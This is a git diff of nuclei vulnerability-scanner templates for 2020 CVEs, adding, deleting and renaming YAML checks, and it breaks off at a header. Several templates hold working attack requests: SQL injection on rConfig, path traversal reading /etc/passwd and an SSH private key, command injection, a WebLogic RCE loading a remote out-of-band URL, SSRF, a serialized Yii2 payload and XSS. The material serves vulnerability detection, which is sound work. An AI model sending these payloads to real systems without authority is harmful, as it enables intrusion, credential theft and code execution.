a8142579c3..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-10124.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2020-10124 - -info: - name: SolarWindsOrion LFI - author: medbsq - severity: medium -#- https://www.cvebase.com/cve/2019/11043 - -requests: - - method: GET - path: - - "{{BaseURL}}/web.config.i18n.ashx?l=j&v=j" - - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l=j&v=j" - headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 - matchers-condition: and - matchers: - - type: word - words: - - "SolarWinds.Orion.Core.Common." - - "Connection String" - condition: or - part: body - - type: word - words: - - "text/plain" - - "SolarWindsOrionDatabaseUser" - condition: or - part: header - - type: status - status: - - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-10148.yaml b/nuclei-templates/CVE-2020/cve-2020-10148.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-10148.yaml rename to nuclei-templates/CVE-2020/cve-2020-10148.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-10547.yaml b/nuclei-templates/CVE-2020/cve-2020-10547.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-10547.yaml rename to nuclei-templates/CVE-2020/cve-2020-10547.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-10548.yaml b/nuclei-templates/CVE-2020/cve-2020-10548.yaml new file mode 100644 index 0000000000..fb420c8e1b --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-10548.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-10548 +info: + name: rConfig 3.9.4 SQLi + author: madrobot + severity: critical + description: rConfig 3.9.4 and previous versions has unauthenticated devices.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. + reference: + - https://github.com/theguly/exploits/blob/master/CVE-2020-10548.py + - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ + tags: cve,cve2020,rconfig,sqli + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-10548 + cwe-id: CWE-89,CWE-522 + +requests: + - method: GET + path: + - "{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "[project-discovery]" + part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-10549.yaml b/nuclei-templates/CVE-2020/cve-2020-10549.yaml new file mode 100644 index 0000000000..9a05c1f547 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-10549.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-10549 +info: + name: rConfig 3.9.4 SQLi + author: madrobot + severity: critical + description: rConfig 3.9.4 and previous versions has unauthenticated snippets.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. + reference: + - https://github.com/theguly/exploits/blob/master/CVE-2020-10549.py + - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ + tags: cve,cve2020,rconfig,sqli + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-10549 + cwe-id: CWE-89,CWE-522 + +requests: + - method: GET + path: + - "{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "[project-discovery]" + part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-10770.yaml b/nuclei-templates/CVE-2020/cve-2020-10770.yaml deleted file mode 100644 index 756813b008..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-10770.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-10770 - -info: - name: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated) - author: dhiyaneshDk - severity: medium - description: A flaw was found in Keycloak before 13.0.0, where it is possible to force the server to call out an unverified URL using the OIDC parameter request_uri. This flaw allows an attacker to use this parameter to execute a Server-side request forgery (SSRF) attack. - reference: - - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html - - https://www.exploit-db.com/exploits/50405 - - https://nvd.nist.gov/vuln/detail/CVE-2020-10770 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - cvss-score: 5.30 - cve-id: CVE-2020-10770 - cwe-id: CWE-601 - tags: keycloak,ssrf,oast,cve,cve2020,blind - -requests: - - method: GET - path: - - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/' - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-11110.yaml b/nuclei-templates/CVE-2020/cve-2020-11110.yaml new file mode 100644 index 0000000000..da0bf70b6c --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-11110.yaml @@ -0,0 +1,53 @@ +id: CVE-2020-11110 + +info: + author: emadshanab + severity: medium + name: Grafana Unauthenticated Stored XSS + description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot. + tags: cve,cve2020,xss,grafana + reference: + - https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-11110 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-11110 + cwe-id: CWE-79 +requests: + - raw: + - | + POST /api/snapshots HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/plain, */* + Accept-Language: en-US,en;q=0.5 + Referer: {{BaseURL}} + content-type: application/json + Connection: close + + {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - application/json + + - type: word + part: body + words: + - '"deleteKey":' + - '"deleteUrl":' + condition: and + + extractors: + - type: regex + part: body + group: 1 + regex: + - '"url":"([a-z:/0-9A-Z]+)"' diff --git a/nuclei-templates/CVE-2020/cve-2020-11455.yaml b/nuclei-templates/CVE-2020/cve-2020-11455.yaml new file mode 100644 index 0000000000..99abf2cac1 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-11455.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-11455 + +info: + name: LimeSurvey 4.1.11 - Path Traversal + author: daffainfo + severity: medium + description: LimeSurvey before 4.1.12+200324 contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php. + reference: + - https://www.exploit-db.com/exploits/48297 + - https://www.cvedetails.com/cve/CVE-2020-11455 + tags: cve,cve2020,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.30 + cve-id: CVE-2020-11455 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-11529.yaml b/nuclei-templates/CVE-2020/cve-2020-11529.yaml new file mode 100644 index 0000000000..339544d2fb --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-11529.yaml @@ -0,0 +1,27 @@ +id: CVE-2020-11529 + +info: + name: Grav 1.7 Open Redirect + author: 0x_Akoko + severity: medium + description: Common/Grav.php in Grav before 1.7 has an Open Redirect. This is partially fixed in 1.6.23 and still present in 1.6.x. + reference: + - https://github.com/getgrav/grav/issues/3134 + - https://www.cvedetails.com/cve/CVE-2020-11529 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-11529 + cwe-id: CWE-601 + tags: cve,cve2019,redirect,grav,getgrav + +requests: + - method: GET + path: + - '{{BaseURL}}/%252f%255cexample.com%252fa%253fb/' + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' + part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-11546.yaml b/nuclei-templates/CVE-2020/cve-2020-11546.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-11546.yaml rename to nuclei-templates/CVE-2020/cve-2020-11546.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-11710.yaml b/nuclei-templates/CVE-2020/cve-2020-11710.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-11710.yaml rename to nuclei-templates/CVE-2020/cve-2020-11710.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-12116.yaml b/nuclei-templates/CVE-2020/cve-2020-12116.yaml new file mode 100644 index 0000000000..27fceb2fac --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-12116.yaml @@ -0,0 +1,46 @@ +id: CVE-2020-12116 + +info: + name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read + author: dwisiswant0 + severity: high + description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request. + tags: cve,cve2020,zoho,lfi,manageengine + reference: https://github.com/BeetleChunks/CVE-2020-12116 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2020-12116 + cwe-id: CWE-22 + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Connection: close + + - | + GET §endpoint§../../../../bin/.ssh_host_rsa_key HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Cache-Control: max-age=0 + Connection: close + Referer: http://{{Hostname}} + + extractors: + - type: regex + name: endpoint + part: body + internal: true + regex: + - "(?m)/cachestart/.*/jquery/" + + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_2, "BEGIN RSA PRIVATE KEY")' + - 'status_code_2 == 200' + condition: and diff --git a/nuclei-templates/CVE-2020/CVE-2020-12271.yaml b/nuclei-templates/CVE-2020/cve-2020-12271.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-12271.yaml rename to nuclei-templates/CVE-2020/cve-2020-12271.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-13121.yaml b/nuclei-templates/CVE-2020/cve-2020-13121.yaml deleted file mode 100644 index cd7764f649..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-13121.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2020-13121 - -info: - name: Submitty <= 20.04.01 - Open Redirect - author: 0x_Akoko - severity: medium - description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks. - remediation: | - Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability. - reference: - - https://github.com/Submitty/Submitty/issues/5265 - - https://nvd.nist.gov/vuln/detail/CVE-2020-13121 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-13121 - cwe-id: CWE-601 - epss-score: 0.00235 - epss-percentile: 0.60944 - cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: rcos - product: submitty - tags: cve,cve2020,redirect,submitty,oos,rcos - -http: - - raw: - - | - POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{RootURL}}/authentication/login - - user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4a0a0047304502206f176277eec35ef135b67c205d1cdacbf6a6d6a914b0330fc921447e4d77f10a022100d548e0e86bb67accdbea62a2cb11ff6fdfd956cb47edb0909e50b0bb2324b033:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-13405.yaml b/nuclei-templates/CVE-2020/cve-2020-13405.yaml new file mode 100644 index 0000000000..cd153be8e7 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-13405.yaml @@ -0,0 +1,57 @@ +id: CVE-2020-13405 + +info: + name: Microweber <1.1.20 - Information Disclosure + author: ritikchaddha,amit-jd + severity: high + description: | + Microweber before 1.1.20 is susceptible to information disclosure via userfiles/modules/users/controller/controller.php. An attacker can disclose the users database via a /modules/ POST request and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. + impact: | + An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. + remediation: | + Upgrade Microweber to version 1.1.20 or later to mitigate the vulnerability. + reference: + - https://rhinosecuritylabs.com/research/microweber-database-disclosure/ + - https://github.com/microweber/microweber/commit/269320e0e0e06a1785e1a1556da769a34280b7e6 + - https://nvd.nist.gov/vuln/detail/CVE-2020-13405 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-13405 + cwe-id: CWE-306 + epss-score: 0.01002 + epss-percentile: 0.81964 + cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: microweber + product: microweber + shodan-query: http.html:"microweber" + tags: cve,cve2020,microweber,unauth,disclosure + +http: + - raw: + - | + POST /module/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Referer: {{BaseURL}}admin/view:modules/load_module:users + + module={{endpoint}} + + payloads: + endpoint: + - "users/controller" + - "modules/users/controller" + - "/modules/users/controller" + matchers: + - type: dsl + dsl: + - 'contains(body,"username")' + - 'contains(body,"password")' + - 'contains(body,"password_reset_hash")' + - 'status_code==200' + - 'contains(header,"text/html")' + condition: and +# digest: 4a0a0047304502203be4d7f5e6cf689779af0571cd7edda9bf8975e0a39de1da9a717cdacffd438c022100c9e14eb45b1c3245277acdf5ad2abab89ea79fd9fac04a3de2d9acfd1d80f272:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-13927.yaml b/nuclei-templates/CVE-2020/cve-2020-13927.yaml deleted file mode 100644 index b9095c970e..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-13927.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-13927 - -info: - name: Unauthenticated Airflow Experimental REST API - author: pdteam - severity: critical - tags: cve,cve2020,apache,airflow,unauth - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-13927 - description: "The previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default" - reference: - - https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E - - http://packetstormsecurity.com/files/162908/Apache-Airflow-1.10.10-Remote-Code-Execution.html - -requests: - - method: GET - path: - - '{{BaseURL}}/api/experimental/latest_runs' - - matchers: - - type: word - words: - - '"dag_run_url":' - - '"dag_id":' - - '"items":' - condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-14864.yaml b/nuclei-templates/CVE-2020/cve-2020-14864.yaml deleted file mode 100644 index e2e0206f06..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-14864.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-14864 -info: - name: Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion - description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion' - author: Ivo Palazzolo (@palaziv) - severity: high - tags: cve,cve2020,oracle,lfi - reference: - - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html - - https://www.oracle.com/security-alerts/cpuoct2020.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-14864 - -requests: - - method: GET - path: - - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies - - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd' - cookie-reuse: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - 'root:.*:0:0' - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-14882.yaml b/nuclei-templates/CVE-2020/cve-2020-14882.yaml deleted file mode 100644 index d43e630199..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-14882.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2020-14882 - -info: - name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass) - author: dwisiswant0 - severity: critical - reference: - - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf - - https://twitter.com/jas502n/status/1321416053050667009 - - https://youtu.be/JFVDOIL0YtA - - https://github.com/jas502n/CVE-2020-14882#eg - description: | - Vulnerability in the Oracle WebLogic Server - product of Oracle Fusion Middleware (component: Console). - Supported versions that are affected are 10.3.6.0.0, - 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. - Easily exploitable vulnerability allows unauthenticated - attacker with network access via HTTP to compromise the server. - Successful attacks of this vulnerability can result in takeover. - tags: cve,cve2020,oracle,rce,weblogic,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-14882 - -requests: - - raw: - - | - POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=utf-8 - - _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://{{interactsh-url}}") - - matchers-condition: and - matchers: - - - type: word - part: header - words: - - "ADMINCONSOLESESSION" - - - type: word - part: interactsh_protocol - words: - - "http" \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-15050.yaml b/nuclei-templates/CVE-2020/cve-2020-15050.yaml deleted file mode 100644 index c3a0c4953d..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-15050.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-15050 - -info: - name: Suprema BioStar2 - Local File Inclusion (LFI) - author: gy741 - severity: high - description: An issue was discovered in the Video Extension in Suprema BioStar 2 before 2.8.2. Remote attackers can read arbitrary files from the server via Directory Traversal. - reference: - - http://packetstormsecurity.com/files/158576/Bio-Star-2.8.2-Local-File-Inclusion.html - - https://www.supremainc.com/en/support/biostar-2-pakage.asp - - https://nvd.nist.gov/vuln/detail/CVE-2020-15050 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.50 - cve-id: CVE-2020-15050 - tags: cve,cve2020,lfi,suprema,biostar2 - -requests: - - method: GET - path: - - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini" - - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-15129.yaml b/nuclei-templates/CVE-2020/cve-2020-15129.yaml new file mode 100644 index 0000000000..3b46eec92a --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-15129.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-15129 + +info: + name: Open-redirect in Traefik + author: dwisiswant0 + severity: medium + description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios. + reference: https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik + tags: cve,cve2020,traefik,redirect + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.70 + cve-id: CVE-2020-15129 + cwe-id: CWE-601 + +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + X-Forwarded-Prefix: "https://foo.nl" + matchers-condition: and + matchers: + - type: status + status: + - 302 + - type: word + words: + - "Found" + condition: or + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-15148.yaml b/nuclei-templates/CVE-2020/cve-2020-15148.yaml deleted file mode 100644 index 1d65d8a045..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-15148.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2020-15148 - -info: - name: Yii 2 (yiisoft/yii2) RCE - author: pikpikcu - severity: critical - reference: - - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 - - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md - tags: cve,cve2020,rce,yii - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.00 - cve-id: CVE-2020-15148 - cwe-id: CWE-502 - description: "Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory." - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==" - - matchers-condition: and - matchers: - - type: word - words: - - "total" - - "internal server error" - condition: and - - - type: status - status: - - 500 diff --git a/nuclei-templates/CVE-2020/CVE-2020-15505.yaml b/nuclei-templates/CVE-2020/cve-2020-15505.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-15505.yaml rename to nuclei-templates/CVE-2020/cve-2020-15505.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-15920.yaml b/nuclei-templates/CVE-2020/cve-2020-15920.yaml deleted file mode 100644 index 983229407e..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-15920.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-15920 - -info: - name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php' - author: dwisiswant0 - severity: critical - description: There is an OS Command Injection in Mida eFramework through 2.9.0 that allows an attacker to achieve Remote Code Execution (RCE) with administrative (root) privileges. No authentication is required. - reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html - tags: cve,cve2020,mida,rce - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-15920 - cwe-id: CWE-78 - -requests: - - method: POST - path: - - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-16270.yaml b/nuclei-templates/CVE-2020/cve-2020-16270.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-16270.yaml rename to nuclei-templates/CVE-2020/cve-2020-16270.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-16846.yaml b/nuclei-templates/CVE-2020/cve-2020-16846.yaml deleted file mode 100644 index 372a0572b7..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-16846.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2020-16846 - -info: - name: SaltStack Shell Injection - author: dwisiswant0 - severity: critical - description: | - SaltStack Salt through 3002. Sending crafted web requests to the Salt API, - with the SSH client enabled, can result in shell injection. - - This template supports the detection part only. See references. - reference: - - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag - - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846 - tags: cve,cve2020,saltstack - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-16846 - cwe-id: CWE-78 - -requests: - - method: POST - path: - - "{{BaseURL}}/run" - body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei" - headers: - Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header - matchers-condition: and - matchers: - - type: status - status: - - 500 - - type: word - words: - - "application/json" - part: header - - type: word - words: - - "An unexpected error occurred" - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-16952.yaml b/nuclei-templates/CVE-2020/cve-2020-16952.yaml deleted file mode 100644 index 30a86624e1..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-16952.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2020-16952 - -info: - name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE - author: dwisiswant0 - severity: high - description: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka 'Microsoft SharePoint Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-16951. - reference: - - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952 - - https://srcincite.io/pocs/cve-2020-16952.py.txt - - https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md - tags: cve,cve2020,sharepoint,iis,microsoft - classification: - cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - cvss-score: 7.80 - cve-id: CVE-2020-16952 - cwe-id: CWE-346 - -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: regex - regex: - - "15\\.0\\.0\\.(4571|5275|4351|5056)" - - "16\\.0\\.0\\.(10337|10364|10366)" - # - "16.0.10364.20001" - condition: or - part: body - - type: word - words: - - "MicrosoftSharePointTeamServices" - part: header - - type: status - status: - - 200 - - 201 - condition: or diff --git a/nuclei-templates/CVE-2020/cve-2020-17506.yaml 